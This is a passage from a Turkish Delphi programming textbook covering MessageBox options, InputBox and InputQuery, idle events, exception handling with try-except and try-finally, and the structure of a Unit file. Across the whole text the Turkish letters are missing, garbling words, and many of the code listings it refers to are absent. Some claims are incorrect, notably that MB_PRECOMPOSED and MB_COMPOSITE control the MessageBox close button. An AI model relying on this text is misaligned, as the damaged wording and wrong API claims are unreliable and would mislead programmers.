Seenek kmemizin beinci parametresi, mesaj penceresinde yer alacak olan metni saa dayal yazmak iin kullanlr. Aada bu husus rneklendirilmitir. num:=Application.MessageBox('Kayt Deitirilsinmi','Deitir', MB_YESNOCANCEL+MB_ICONMASK+MB_DEFBUTTON2+MB_TASK MODAL+MB_RIGHT); MB_RIGHT parametresi pencerede yer alan metnin saa dayal yazlmasn salar. Aadaki kodu projenize ekleyip altrrsanz, aklama metninizin saa dayal yazldn greceksiniz.

160

Buttona tkladktan sonraki ekran grntnz aada verilmitir. Burada pencere balnn da saa dayal yazldn dikkatinizden karmayn.

Dilerseniz aadaki seenei de ekleyerek kapat dmesi ve eklenen dmelerin yerlerini de deitirebilirsiniz.

161

Kapat dmesini iptal etmek (pasif hale getirmek) iinde aadaki seenei ekleyebilirsiniz.

MB_PRECOMPOSED seeneini ekleyerek, mesaj penceresinde kapat dmesinin pasif hale gelmesini salayabilirsiniz. num:=Application.MessageBox('Kayt Deitirilsinmi','Deitir', MB_YESNOCANCEL+MB_ICONMASK+MB_DEFBUTTON2+MB_TASK MODAL+MB_RIGHT+MB_PRECOMPOSED); Son eklediimiz seenekleri de tablo halinde verip, bu ksm kapatmak istiyorum. Yazacamz bu seenekler birbirlerine alternatif deildir. Hepsinin grevi farkl olup, tabloda bu husus aklanmtr.
Seenekler MB_RIGHT MB_PRECOMPOSED MB_COMPOSITE Aklama Yaz ve Balk Saa Dayal Kapat Dmesini Sola Al Kapat Dmesini Pasif Yap

Alan mesaj penceresi alternatifli dmelerden oluaca iin, baslan dmenin deerinin aktarlaca deiken bizim iin olduka nemlidir. Aynen MessageDlg methodunda olduu gibi burada da elimizdeki bu deikeni dallandrma (if veya case) ilemine tabi tutarak her dme iin farkl kodlarn iletilmesini salayabiliriz. Aadaki uygulamada bu husus rneklendirilerek, her dme iin farkl kodlarn iletilebilmesi salanabilmektedir. Program altrdktan sonra button kontrolne tklayabilirsiniz.

162

Dilerseniz dallandrma ilemini case yapsyla da gerekletirebilirsiniz. O zaman kodunuzu aadaki ekilde deitirmelisiniz.

Kyaslama ileminde kullanacanz yap tamamen programcya kalmtr. Bizim bu hususta herhangi bir tavsiyemiz olmayacaktr. Dilediinizi seebilirsiniz.

163

InputBox Fonksiyonu: Bu fonksiyon sayesinde, ierisinde bilgi girii iin text kutusunun bulunduu bir pencere atrmak mmkndr. Bu pencere sayesinde text kutusuna kullanc tarafndan girilecek olan ierik, programn ierisinde dier ilemler iin kullanlabilir. Bir anlamda; kullancnn programa parametre gndermek iin kullanabilecei bir pencerenin almasn salar da diyebiliriz. Aada kullanmn gsteren yap gsterilmitir. var deger:AnsiString; begin deger:=InputBox(pencere_bal,Aklama,varsaylan_deer); Fonksiyonda girilen deeri, program ierisinde kullanabilmek iin muhakkak AnsiString tipte tanmlanm bir deikene aktarlmas gerekmektedir. ayet tam say tipli bir deikene aktarlacaksa, o zaman aadaki gibi tip dntrme ilemi uygulamanz gerekmektedir. var deger:Integer; begin deger:=StrToInt(InputBox(pencere_bal,Aklama,varsaylan_deer)); Eer tarihsel bir deer girilecekse, o zaman aadaki ekilde bir tip dnm ilemi uygulamalsnz. var deger:TDate; //Tarihsel deikene aktarlacak begin deger:=StrToDate(InputBox(pencere_bal,Aklama,varsaylan_deer)); Girilecek deer tarihsel bir deikene aktarlacaksa o zamanda aadaki gibi bir dnm ilemi uyglamalsnz. var deger:Currency; begin deger:=StrToCurr(InputBox(pencere_bal,Aklama,varsaylan_deer)); Dnm ilemlerini gsterdikten sonra, imdi de ierisinde kulland parametreyi inceleyelim. 164

Birinci parametre, pencere balnn alaca deeri belirlemek iin kullanlr. Buraya yazacanz ierik pencerenin balnda gzkecektir. var deger:AnsiString; begin deger:=InputBox('Firma simleri','',''); //Pencere bal belirlendi.

Program altrp button kontrolne tklarsanz, aadaki gibi sadece pencere balnn belirlenmi olduu bir pencere alacaktr.

Fonksiyonu doru olarak kullanabilmeniz iin, ierisindeki parametreye de deer atamanz gerekmektedir. Yukardaki ilemde ilk parametreye deer atayp dier parametrelerin ierisinde null deer almasn saladk (Null deeri atamakta sonuta parametreye deer gnderildii anlamn tar). Ksacas InputBox fonksiyonunda opsiyonel parametre bulunmayp, tm parametrelere kullanc tarafndan deer gnderilmesi gerekmektedir. Parametrelerden bir tanesini bile eklemezsiniz, Delphi sizi hata mesajyla uyaracaktr.

165

Gelelim ikinci parametreye; buraya gireceiniz ierik, mesaj pencerenizin aklama bilgisi olarak kullanc tarafndan gzkecektir. Aada kullanm ekline ait yap ve rnei gsterilmitir. var deger:AnsiString; begin deger:=InputBox('Firma simleri','Firma Adn Giriniz',''); //pencere bal ve aklama metni belirlendi

Programnz altrp button kontrolne tklarsanz, aadaki gibi balk ve aklama bilgisinin belli olduu bir pencerenin almasn salarsnz.

nc parametrede, pencere ald anda henz hi bir bilgi girilmeden text kutusunun ierisindeki default deeri belirlemek iin kullanlr. Eer kullanc hi bir deiiklik yapmadan OK buttonuna tklarsa, belirtilen default deer deikenin ieriine aktarlacaktr. Default deer belirlemek istemiyorsanz, o zaman buraya iki tek trnak iareti koymalsnz. Aksi takdirde Delphi sizlere hata mesaj iletecektir. Aada yapnn kullanmna ait rneklendirme yaplmtr.

166

var deger:AnsiString; begin deger:=InputBox('Firma simleri','Firma Adn Giriniz', 'Prestige'); Son (nc) parametreyle, pencere ald anda text kutusunun ierisinde bulunacak olan default deer belirlenmi oldu.

Program altrp button kontrolne tklarsanz, pencere bal, aklama ve default deerin belirlenmi olduu aadaki pencere alacaktr.

Kullanc text kutusunun ieriini deitirip OK buttonuna tklarsa, yeni girmi olduu deer deikene aktarlacaktr. ayet hibir deiiklik yapmadan OK buttonuna tklama yaparsa, varsaylan olarak belirlenen deer deikene aktarlacaktr. nemli Uyar: Varsaylan deer belirledikten sonra, text kutusunun ieriini isterseniz deitirip, isterseniz deitirmeden Cancel buttonuna tklarsanz, default deeriniz deikene her koulda aktarlacaktr. Aadaki rnei dikkatlice inceleyiniz. 167

rnekte imdiye kadar yaptklarmza ters den hi bir ey yoktur. Fakat aklamalarm izleyerek program altrn.

Program altrdktan sonra button kontrolne tklayn. Aadaki pencere alacaktr.

Alan pencerede default olarak belirlenen (prestige) ierii, Gazi niversitesi olarak deitirip Cancel buttonuna tklayn. Evet formunuzun balnda ne yazd? Belirlemi olduunuz default deer olan Prestige yazs, ite InputBox fonksiyonunun byle bir handikap var. Bu handikaptan kurtulmann yolu aada detayl olarak incelemeye tabi tutulan InputQuery fonksiyonunu kullanmaktr. Konuyu daha iyi anlamanz asndan aadaki rnei yapp, InputBox fonksiyonunu inceleme ilemini sonlandrmak istiyorum. rnekte; renciye ait vize ve final notlarndan hesaplanacak olan ortalamay dallanmaya tabi tutarak, ulaacamz sonu deerinin rencinin snfn gemesine yetip yetmeyeceini, kullancya uyar olarak bildirecek bir uygulama gelitireceiz. Tm kod aada verilmitir. 168

imdi bilgi giri ilemlerinde kullanlabilen ikinci fonksiyonumuzu yani InputQuery fonksiyonunu inceleyeceiz. Bizim size tavsiyemiz, uygulamalarnzda hep bu fonksiyonu tercih etmeniz ynnde olacaktr. Fakat tercih tamamen size kalmtr.

169

InputQuery Fonksiyonu: Alan bilgi giri penceresinde OK veya Cancel buttonlarna tklanld zaman, farkl kodlar iletilecekse InputQuery fonksiyonu kullanlmaldr. Bu fonksiyonda dikkat edeceiniz iki tane ok nemli husus var. Bunlardan birincisi, fonksiyon Ok e baslmas durumunda true, Cancel a baslmas durumunda false deerini alacak olan Boolean tip bir deikene aktarlmaldr. kincisi ise; kullancnn girecei deerin, aktarlaca deikenin nc parametre olarak fonksiyona gnderilmesi gerektiidir. Aada kullanm ekline ait yap verilmitir. var dugme:Boolean; //Ok veya cancel a basld bu deiken de deger:AnsiString;//Girilecek deer bu deikende saklanacak begin dugme:=InputQuery(Balk,Aklama,deger); //Klavyeden girilecek olan //ierik deger isimli deikende tutulacak.

InputQuery fonksiyonu parametre alabilmektedir. lk iki parametre InputBox fonksiyonunda olduu gibi pencere baln ve aklama bilgisini iermektedir. nc parametre ise kullancnn girecei ierii barndracak olan AnsiString tipli bir deiken ad olmak zorundadr. leyi yle olacak, text kutusuna gireceiniz metin deger isimli deiken tarafndan, bastnz dmenin ne olduuda dugme isimli Boolean tipli dier deiken tarafndan tutulacaktr. Fonksiyonu kullandktan sonra hangi dme tklanarak pencerenin kapatldn renmek iin, Boolean tip deikeni dallanma ilemine (if veya case) tabi tutarak gerekli kodlar eklemelisiniz. ayet pencere Ok buttonu

170

tklanarak kapatldysa dugme isimli deiken true deerini, Cancel tklanarak kapatldysa false deerini alacaktr. imdi olayn daha iyi anlalmas iin aadaki kodlar formunuza ekleyerek programnz altrnz.

Burada bilmeniz gereken ok nemli bir husus var. Cancel dmesine tklamanz deger isimli deikenin varsaylan deeri almasn engellemez. Sadece bu buttona tkladnz zaman, deikenin ald deeri kullanmadnz iin sonu farkl olacaktr. Aklamam daha iyi anlamanz iin, kodunuzu aadaki gibi deitirip uygulamanz tekrar altrn. else begin ShowMessage('Cancel Buttonuna Basp lemi ptal Ettiniz'); Form1.Caption:=deger; //Varsaylan deeri yaz end; Koda dikkat edin Cancel dmesine tklanlmas durumunda da deikenin deeri yazdrlmak istenmektedir. Bu durumda formunuzun balnda daha nceki satrlarda belirlemi olduunuz varsaylan deeri yazdracaktr (Eer varsaylan deer belirlemediyseniz null deeri alacaktr).

171

Uygulamaya ait tm kod satrlar aada verilmitir. Aklamalar ve rnek kodlar ok iyi izleyerek sonular arasndaki farka dikkat ediniz.

172

Idle Olay Yaratarak Projeyi Kontrol Etmek: Aslnda bu konunun dialog pencereleriyle bir ilgisi yok, ama ben burada anlatmay uygun grdm. Delphi ilemcinizin hareketsiz kalmas durumunda projeyi denetlemek iin size bir imkan sunmaktadr. Idle olaylar adn verdiimiz bu ilemde kodlar iletildikten sonra ilemcinin (bu program iin) hareketsiz kalmas durumunda, iletecei event lar nasl yaratabileceinizi gstermek istiyorum. Aadaki admlar izleyerek Idle olayn yaratarak, yazdnz kodlar iletme ansn bulabilirsiniz. Yeni bir proje balatn. Unit inizin Private ksmna aada belirtildii gibi IdleOlayi (herhangi bir isimde olabilir) adnda bir prosedr yaratn.

nc admda imle bu satrda iken Ctrl+Shift+C tularna beraberce basarak aadaki prosedrn Delphi tarafndan otomatik olarak oluturulmasn salayn (Bu hususlara Delphi de class yaps konusunda detayl olarak deineceim).

173

Unit iniz aadaki ekilde gzkecektir. Yani procedure TForm4.IdleOlayi(Sender: TObject; var deger: Boolean); prosedrn Delphi otomatik olarak oluturacaktr.

Bu admda formunuza birer adet Button ve Edit kontrol ekleyip aadaki kodlar belirtilen event lara girin.

174

imdi de eklemi olduunuz kontrolleri formunuza aadaki ekilde yerletirip projenizi altrnz.

Program altrdktan sonra, Edit kontrolnn ierisindeki karakter saysna bal olarak Button kontrolnn aktif veya pasif olmas salanabilmektedir. Yani EditBox n ierisinde hi veri yoksa button kullanlamaz (Formun balna baknz) halde olacak, klavyeden veya kodla karakter aktarld zaman Button kontrol aktifleebilecektir.

175

ki Kontroln Ayn Event Kullanmas: Tm kodu tek bir Event a yazp, dier kontrollere bu event referans gsterebilirsiniz. Birden fazla kontrol ayn event kullanaca iin tetiklemenin hangi kontrolden geldii nem arz edecektir. te kontrollerin event larnda tanml bulunan Sender parametresi bu ilem iin kullanlmaktadr. Konuyu daha iyi anlamanz iin formunuza iki adet button kontrol yerletirip aadaki admlar izleyiniz.

Kodu Button16 ya ait event a yazdmz iin Button17 ye de bu event referans gstermemiz gerekecektir. Referans gsterme ilemi iin aadaki admlar izlemelisiniz. Dier button kontroln mous ile seip Object Inspector penceresinden OnClick Event nn sa tarafndaki oka tklayn.

Alan pencereden kodu yazm olduunuz dier kontroln yordamn seip projenizi altrn. imdi iki buttonada arka arkaya tklarsanz, yapm olduunuz ilemin sonucunu grebilirsiniz. 176

Buttonlara arka arkaya tklarsanz, program size aadaki iki mesaj penceresini iletecektir:

Alt yordamlarda kullanlan Sender parametresi, tetiklemeyi gerekletiren kontrole ait zellikleri tutabilmektedir. Yapacanz basit bir dallanmayla hangi kontrole tklanldn kolayca renebilirsiniz.

177

178

BLM 7 DELPHIDE HATA YAKALAMA

179

180

Delphide Oluabilecek llegal Durumlar zmek: Yazm olduunuz kodlar ierisinde tahmin edebildiiniz veya edemediiniz, hata oluturmaya msait bir ok durum olabilir. Bu hatalardan bir ksmn bildiimiz kodlarla engellemek mmkn olmakla beraber, dierleri iin bu mmkn olmayabilir (Mesela Edit kutusu ierisindeki verinin saysal olup olmadn daha baka yollarla kontrol etmek mmkn olabilir). Bu yzden bu tip durumlarda, aada gstereceim lokal ve genel hata yakalama yntemlerinden bir tanesini (veya ikisini de) kullanmalsnz. Lokal Hata Yakalama: Lokal hata yakalama tek bir prosedr ierisinde oluabilecek hatalar programa bildirme amal kullanlan bir yntemdir. Aada seenekleri incelenmektedir. Try-except-End : Try //Hata oluturabilecek kod blou exept begin //Hata olutuu anda ileyecek olan kod satrlar end; end; //try end ile kapatlmal Aadaki gibi bir kodunuzun var olduunu dnn. Bu kodda Edit ierisine girilen ierik tamsayya evrilerek, tamsay tipli bir deikene aktarlmaktadr. Burada girilen deer ierisinde saysal olmayan bir karakterin olmas programn krlmasna (Bir programn krlmas kmesi demek deildir. almaya aynen devam edebilirsiniz. Ama hi ho olmayan bir durumun olduu da meydandadr.) sebep olacaktr.

181

Program altrp button kontrolne tklayn. Edit kontrolnn ierisinde tamsayya evrilecek bir deer bulamayaca iin, aadaki irkin mesaj verecektir.

Bu pencerenin kmasn engellemek iin izleyeceiniz yol aada verilmitir. Kodunuzu ve tasarm eklinizi gsterildii ekilde deitiriniz.

182

Programnz altrdktan sonra Edit kontrolnn ierisine saysal olmayan bir ierik girerek button kontrolne tklaynz. Delphi, size hata yakalama kodlarn eklemenize ramen, ilk bata verdii irkin mesaj yine verecektir. Peki o zaman bu kodlar neden yazdk. Aklayalm, buradaki Delphiye ait mesaj exe uygulamanz altrdnz zaman kaybolacaktr. Yani uygulamanzn exe versiyonunu (Kaytl olduu aktif klasrde olumutur) altrrsanz, sadece kendinizin eklemi olduu mesaj iletisiyle karlaacaksnz (hemen deneyiniz). Delphi ierisinden bu sonucu grmeniz iin, hata mesajn verdikten sonra tekrar Run dmesine tklamanz gerekir. Try-except-end blounun ileme mant, hata oluturabilecek kodlarn tryexcept arasna yazlmas gerektiidir. ayet bu blok ierisine yazlan kodlarda hata oluacak olursa, Delphi size except ten sonraki begin-end blou ierisinde bulunan kodlar iletecek, aksi takdirde, yani hata olumaz ise except ten sonraki begin end blou ierisindeki kodlar asla ilemeyecektir. Aadaki rnekte Edit kontrolnn ierisine saysal ierik girilene kadar kontrol kaybetmemesi salanmaktadr.

Aadaki tasarm oluturun. Yukarda verilmi olan kodlar gerekli olan (Edit1Exit) yordamlara ekleyip programnzn exe sini altrnz. Edit kontrolnn ierisine saysal karakter dnda giri yapp kontrolden tab tuuyla 183

ayrlmaya kalkrsanz, aadaki ekilde bir pencereyle Delphi sizi uyaracaktr. Bu sayede programnz da krlmaktan kurtulacaktr.

ayet sistemin kendi mesajn da (pek kullanacanz sanmyorum ama gene de verelim) kullancya gstermek isterseniz, o zaman kodunuzu aadaki ekilde deitirmelisiniz.

Burada kullanlan HandleCreateException komut satr sayesinde sistemin ingilizce olarak verecei uyar mesajn da kullancya iletebilirsiniz. Trke yapacanz bir uygulama iin sanyorum uygun olmayacaktr. Ama yine de siz bilirsiniz. C++ birden fazla catch (except in yerine kullanlr) yapsna izin vermektedir. Fakat Delphide birden fazla except kullanmanz mmkn deildir. 184

Try-Finally-End: Hata olsa da olmasa da iletilecek olan kod satrlarnz varsa, bunlar Finally blouna yazmalsnz. Yani Finally blou hata olsa da olmasad a program tarafndan iletilecektir. Yap aada verilmitir. Try //Hataya msait Kodlar Buraya Yazlacak Finally begin //Hata olsada olmasada ileyecek olan kod blou end; end; Genellikle yaratlm olan objeleri bellekten atma ilemi bu blokta yaplr. nk hata olsa da olmasa da nesnelerin bellekte kalmalar istenmez. Genel Hata Yakalama: Tm uygulamann kullanaca genel hata yakalama ilemi uygulayacaksanz, (Windows un yapm olduu Program geersiz bir ilem yrtt kapatlacak gibi) aadaki gibi hata olduu zaman ileyecek olan bir prosedr tanmlamalsnz. Ardndan hata olduu zaman iletilmesi gerektiini programa bildirmeniz gerekecektir. Aada bu ilemi adm adm izah edeceim, ltfen dikkatlice uygulaynz. Birinci admda, programnzn Unit blmne geerek yakala ismindeki prosedr tanmlayn.

185

kinci admda imle prosedrn tanmland satrda iken Ctrl+Shift+C tularna basarak, aadaki prosedrn Delphi tarafndan otomatik olarak oluturulmasn salayn.

nc admda hata olutuu anda ileyecek olan kodu bu prosedr ierisine yazmalsnz. Biz imdilik aadaki kod satrlarn ekliyoruz.

Drdnc admda, hata olutuu zaman yukarda oluturulan prosedrn iletilmesi gerektiini belirtmeliyiz. Bu i iin en uygun yordamn OnCreate olduunu dnyorum.

186

Artk programnz altrabilirsiniz. Programnzda oluan tm hatalar yakala isimli prosedrde belirtilen kodlar iletecektir. Tm kod aada verilmitir.

nemli Uyar: Bir uygulamada hem lokal hem de global hata yakalama kodlar kullanldysa, lokal hata yakalama komutlarnn nceliinin olduunu bilmelisiniz. Yani lokal hata yakalama komutlaryla yakalanan bir hata mesaj, global hata yakalama komutlarna yakalanmaz.

187

188

BLM 8 DELPHIDE UNIT KAVRAMI

189

190

Unit Penceresi: Bu blmde kod penceresine (Bu pencere Delphi de Unit olarak adlandrlmaktadr.) ait tm zellikleri sizlere izah edeceim. Projenize eklemi olduunuz her formun kodlarnn yazld bir Unit i mevcuttur (Ama tersi geerli deildir. Yani her Unit in formu olmak zorunda deildir. Formu olmayan Unit ler de bulunmaktadr). Aadaki admlar izleyerek formunuza ait Unit penceresine ulaabilirsiniz. View->Units admlarndan sonra karnza Unit inize ait pencere gelecektir. Eer hi bir kod eklemediyseniz grnts aadaki ekilde olacaktr.

Pencereye dikkat ettiyseniz tm nemli kalplar satr numaralaryla (Bu numaralandrmay biz yaptk) adlandrlm haldedir. Bu numaralar kullanarak tm satrlarn ne ie yaradn, nasl deiiklik yaplabileceini, ekleme silme ilemlerinin nasl yaplacan anlatacam. imdi birinci satrdan itibaren inceleme ilemimize balayalm.

191

I.SATIR: Unit Unit1; Bu satr Unit inizin ismidir. Her formun bir Unit i olduu iin, adlandrmada ayn sralamayla Delphi tarafndan otomatik olarak yaplmaktadr. Yani ilk formun Unit ismi Unit1, ikinci formun Unit ismi Unit2 vs. Delphi Unit isimlerini deitirmeye u aamada imkan vermemektedir. Eer ismini deitirirseniz hatayla karlarsnz . II.SATIR: nterface Delphi Unit ierisindeki blmleri programclara blok blok gstermek iin interface yaps gelitirmitir. Bu sayede Unit inizde yapm olduunuz genel, yerel tanmlamalarnz kolayca izleyebilirsiniz. ayet bu satr silerseniz uygulamanz almayacaktr. III.SATIR uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs; Programnzda kullandnz tm methodlar bu satr sayesinde kullanlabilmektedir. Delphi nesneden nesne yaratma (Object Oriented) mantn destekledii iin, kullandnz methodlar burada belirtilen ktphaneler ierisinde tanmldrlar. Dolaysyla kod bloklarnzda rahatlkla kullanabilmektesiniz. Tek bir uses bildirisiyle araya , koyarak istediiniz kadar ktphaneyi projenize ekleyebilirsiniz. Hi bir methodu kullanlmayacak olan ktphaneleri projeye eklemek hem karmaa yaratacak, hem de performansnz drecektir. Bu amala Delphi sadece en ok kullanacanz ktphaneleri varsaylan olarak eklemitir. Dier ktphanelerden faydalanmanz gerekirse, sizin manual olarak eklemeniz gerekmektedir. uses bildirisiyle Linux veya Windows iletim sistemlerine ait ktphaneleri ekleyip karabilirsiniz. Bu olay anlamanz iin iki tane rnek yapacam. Bunlardan birincisi, ShowMessage methodunun tanml olduu class (Dialogs) projeden silerek kullanmay deneyeceim. kincisinde ise yukardaki class larn ierisinde tanm olmayan bir methodun class n ekleyerek nasl kullanabileceinizi gstereceim.

192

UYGULAMA 1: Bu rnekte uses satrnda varsaylan olarak eklenmi halde bulunan Dialogs ktphanesini silerek aadaki kodu projenize ekleyin. uses Windows, Messages, SysUtils, Variants, Classes,Graphics, Controls, Forms; //Dialogsu sildim imdi formunuzun zerine yerletireceiniz button kontrolnn OnClick yordamna aadaki kodu ekleyiniz.

imdi de programnz altrn. Daha nce ok kolay bir ekilde altrdnz uygulamanz hata mesaj verecektir. Sebebi ok basit ShowMessage methodu Dialogs class ierisinde tanmldr. Bu class projeden sildiiniz iin artk uygulamanz bu methodu bulamayacak, tanmayacak ve altramayacaktr.

Uyar mesajna dikkat ederseniz; ShowMessage n declare edilmediini, bu yzden de uygulamanz altramayacan bildirmektedir.

193

nemli Uyar: Bir methodun tanml olduu ktphanesine ulamak iin, Mous ile o komutun zerine gidin ctrl tuu baslyken (mousun ekli deiecektir) mousun sol tuuyla zerine tklayn, sizi tanmland ktphaneye ynlendirecektir. UYGULAMA 2: Bu blmde normal artlarda kullanamayacamz (ktphanesi ekli olmad iin) bir methodu, gerekli olan class uses satrna ekleyerek nasl kullanabileceinizi gstereceim. lk olarak formunuzun zerine iki adet button kontrol yerletirerek, aadaki tasarm oluturunuz.

imdi de uses satrna MMSystem class n ekleyin. Bu class eklemezseniz yukardaki hata mesajyla karlarsnz. uses Windows, Messages, SysUtils, Variants, Classes,Graphics, Controls, Forms, StdCtrls,Dialogs,MMSystem;//Eklemeyi unutmayn Cd Rom kapan ap kapamak iin mciSendString methodu kullanlmaktadr. MMSystem ktphanesini eklemeden aadaki kodlar altrrsanz, Delphi sizi bu fonksiyonlar tanmadna dair hata mesajyla uyaracaktr. Bu yzden ilk yapacanz ilem mciSendString fonksiyonunun ierisinde tanumland ktphaneyi projeye dahil etmek olmaldr. Eklemi olduunuz button kontrollerinin OnClick yordamlarna aadaki kodlar yazp uygulamanz altrabilirsiniz. Program altktan sonra ilk buttona tklarsanz Cd Rom kapa alacak, ayet ikinci buttona tklarsanz bu durumda da Cd Rom kapanz kapanacaktr. Unit inize aadaki kod satrlarn ekleyin. 194

Sanyorum olayn mantn anladnz. Bir methodu kullanmak iin ncelikle onun tanmlanm olduu ktphaneden msaade almalsnz (Onu projenize dahil ederek). Aksi takdirde methodu proje ierisinde kullanamazsnz. IV.SATIR: type TForm1 = class(TForm) Bu satr Wimdows Form uygulamalarnn temelini oluturmaktadr. Object Oriented mant kullanlarak class tan yavru ye tretilmektedir. Yaratlan yavru yenin ismi TForm1, yaratld ana class ise TForm (Windows formlarna ait tm zellik ve methodlar TForm class nda tanmlanmtr) adn tamaktadr. Yavru ye kaltmsal olarak yaratld class a ait tm zellikleri ve methodlar zerine alacaktr. Bir sonraki blmde class yaps detayl olarak incelenecektir. Bu yzden bu satra ait izahat ve rnekleri o ksmda bulabilirsiniz. Grsel dillerde kod yazma ilemi ok basit olduu iin, formunuzun zerine srklediiniz kontrollerle rnekler gelitirebildiinizi, bir ok kodu ezbere yazdnz maalesef biliyorum. Class ksmnda yazlan kod satrlarndan ounun ne ierdii hakknda bilgisi olmayan programclarn olduunu hatta 195

bazlarnn ii abartp kitap bile yazdklarn maalesef gryoruz (Hatta kapaklarnda 4. veya 5. bask bile yazan var). Bu kitab hazrlamamdaki asl ama, Faklte ierisinde verdiim derslere kaynak bulamadklar iin bu kalitesiz kitaplar koltuunun altna alp gelen (rencilerimi bu hususta sulamyorum) rencilerime k tutabilmek maksatl olmutur (Referanslarmz hakknda ufak bir fikir edinebilmeniz iin kitabun al sayfalarna baknz). imdi tekrar konumuza dnerek Unit satrlarmz izah etmeye devam edelim. V.SATIR: private { Private declarations } Sadece o Unit tarafndan (Buradaki Unit Forma ait olduu iin sadece form kontrolleri tarafndan da denilebilir. Genel anlamda hangi class a aitse) kullanlabilecek deiken ve methodlarn declare edilebilecei bloktur. Burada tanmladnz bir deikeni dier formlardan (veya Unit lerden) aramazsnz. Private blou ierisinde yapm olduunuz tanmlamalar Implementation dan sonra yaplanlardan farkldr (class ksmnda inceleyebilirsiniz). Burada tanmlayacanz bir deikeni proje ierisinde nasl kullanabileceinizi gstermek istiyorum. type TForm2 = class(TForm) Button1: TButton; Edit1: TEdit; procedure Button1Click(Sender: TObject); private deger:Integer; //Buradaki deiken tanmlamasnda var kullanlmaz Tanmlam olduunuz deger isimli deiken btn alt yordamlar tarafndan kullanlabilecektir. Fakat baka bir Unit ierisinden bu deeri kullanabilmek mmkn deildir. Bu tip deikenler devaml olarak (Form kapatlana kadar) bellekte tutulduklar iin son deerleri her zaman hatrlanacaktr. Yani Button1 OnClick olaynda bu deikene aktardnz deeri, Button2 OnClick olaynda rahatlkla kullanabilirsiniz. Aadaki kod satrlarn formunuzun gerekli yordamlarna ekleyip programnz altrnz.

196

deger isimli deikeni, Unit inizin private ksmnda tanmladnz iin tm alt yordamlar tarafndan kullanlabilecektir. Bu ksmda ayrca gstermek istediim bir hususta private ksmnda tanmlanan bir deiken (Bu proje iin Form2 ye aittir) o formun dier kontrolleri gibi davranacaktr.

Yukardaki ekilde private ksmnda tanmlanan deikenin Form2 yazp . tuuna baslnca alan pencerede dier methodlar (zellikler, kontroller vs.) gibi gzkeceine dikkat ediniz.

197

imdi de private ksmnda bir prosedr tanmlayarak Unit ierisinde nasl kullanabileceimizi grelim. Aadaki gibi private ksmnda yeni prosedrnz tanmlayn. type TForm2 = class(TForm) Button1: TButton; Edit1: TEdit; Button2: TButton; procedure Button1Click(Sender: TObject); procedure Button2Click(Sender: TObject); private deger:Integer; //Deiken tanmland procedure uyar();//Prosedr tanmlanyor. Prosedr bu ekilde tanmlayp program altrmaya kalkarsanz, Delphi sizi hata mesajyla uyaracaktr. Bu yzden imdi anlatacam admlar gerekletirdikten sonra uygulamanz altrn. mle prosedrn tanmland satrda iken Ctrl+Shift+C tularna beraberce basn. Aadaki gibi Unit in ierisinde Formun yesi olan prosedr blounu oluturacaktr.

Artk programnzn altrlmas srasnda hata olumayacaktr (Delphi tanmlanm prosedr bloklarnn yaratlm olmasn istemektedir). Burada hatrlatalm private blounda tanmlanan prosedre dier Unit lerden erimek mmkn olamayacaktr. Prosedr Unit in Private ksmnda tanmland iin Form2.uyar komutu kullanlarak prosedr iletilebilmitir. Prosedrnzn ierisine yazacanz kodlar, dier yordamlardan aadaki ekilde kolayca iletebilirsiniz.

198

Burada deinmek istediim dier bir noktada, bu prosedre formun dier methodlarna nasl eriebiliyorsanz o ekilde eriebileceinizdir. Yani Form2 yazp . tuuna basarsanz alacak olan pencerede prosedrn ismi gzkecektir.

Private blounda fonksiyon tanmlamas da yapabilirsiniz. Fakat deiken ve prosedrde olduu gibi baka bir unitten ulalmas mmkn olmayacaktr. Sadece tanmland Unit ierisinde bulunan kontrollere ait yordamlardan arlabilecektir. Bu blokta fonksiyon tanmlamak iin aadaki admlar izlemelisiniz.

199

type TForm2 = class(TForm) Button1: TButton; Edit1: TEdit; Button2: TButton; Button3: TButton; Button4: TButton; procedure Button1Click(Sender: TObject); procedure Button2Click(Sender: TObject); procedure Button3Click(Sender: TObject); procedure FormCreate(Sender: TObject); private deger:Integer; //Deiken tanmland procedure uyar(); function hesapla(ilk:Integer;son:Integer):Real;//Function tanmland { Private declarations } Prosedr ksmnda yaptnz gibi, imle fonksiyonun tanmland satrda iken Ctrl+Shift+c tularna beraberce basp aadaki bloun olumasn salayn.

Hesapla isimli fonksiyonun Form2 classnn yesi olduunu sanyorum sylememize gerek yok. Fonksiyona ait begin-end blou ierisinde hesaplama ilemini yapacak olan kod satrlarn yazabilirsiniz. Programa gnderilecek olan deer ayn ekilde Result ifadesiyle yakalanabilir. imdi fonksiyonumuzun kodlarn ekleyerek uygulamamz altralm.

200

Hatrlatmak istediim dier bir hususta, tanmlanan fonksiyon Form2 class nda tretildii iin Editr de Form2 yazp . tuuna basarsanz, aadaki gibi alacak olan pencerede fonksiyonunuzu bulabileceksiniz.

Class ierisinde deiken, prosedr ve fonksiyon tanmlama ilemleri class yaps ksmnda daha detayl olarak incelenecek ve rneklendirilecektir. imdilik bu ksm kapatp Unit penceremizde yer alan dier satrlar incelemeye devam edelim.

201

VI.SATIR: public { Public declarations } end; Proje ierisinde bu bloun kullanm mant private ile tamamen ayndr. Aralarndaki tek fark public blounda tanmlanan deiken, prosedr veya fonksiyona dier Unitler den de ulalabilmesidir. Yani bu blokta tanmlanan bir deiken ait olduu Unit inin eklendii tm formlardan (aslnda Unitlerden) kolaylkla arlabilmektedir. VII.SATIR: end; Bu satr, class a ait tanmlamalarn bittii yeri gstermektedir (TForm2). VIII.SATIR: var Form2: TForm2; TForm2 class ndan Object Oriented mant kullanlarak Form2 isminde yeni bir deiken tretilip kullanma sunulmaktadr. Hatrlatalm TForm2 nin tm zellikleri bu yeni deikene de aktarlm olacaktr. IX.SATIR: implementation Forma ait Event lar iin yazlacak olan kodlar bu satrdan itibaren balar. Eer Unit ierisinden silerseniz uygulamanz almayacaktr. X.SATIR: {$R *.dfm} .dfm uzantl dosyaya yazlacak olan kodlar belirleyen ok nemli bir bildiridir. Sakn Unit inizin ierisinden silmeyiniz. Silerseniz uygulamanzn altrlmas baarszlkla sonulanacaktr.

202

BLM 9 DELPHIDE CLASS YAPISI

203

204

